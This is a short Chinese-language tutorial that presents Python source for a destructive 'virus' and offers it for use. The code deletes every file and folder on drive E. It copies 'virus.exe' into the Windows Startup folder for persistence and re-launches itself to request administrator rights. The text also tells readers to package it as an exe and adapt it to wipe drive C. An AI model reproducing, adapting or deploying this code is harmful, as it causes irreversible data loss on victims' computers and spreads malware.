这里我选择的是删除E盘所有文件和文件夹,需要注意的是,这些代码放进py文件后需要打包成exe文件才可以使用。
如果想要删除其他磁盘文件,可以进行适当修改。若要删除C盘文件,可以将获取管理员权限的代码提前放置。
import os
import shutil
path=os.listdir('E:\\')
for i in path:
sen='E:\\'+str(i)
try:
if os.path.isfile(sen):
os.remove(sen)
shutil.rmtree(sen)
except:
continue
try:
import ctypes, sys
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
f=open('virus.exe','rb')
data=f.read()
f.close()
t=open('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\\virus.exe','wb')
t.write(data)
t.close()
# Code of your program here
else:
# Re-run the program with admin rights
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
except:
pass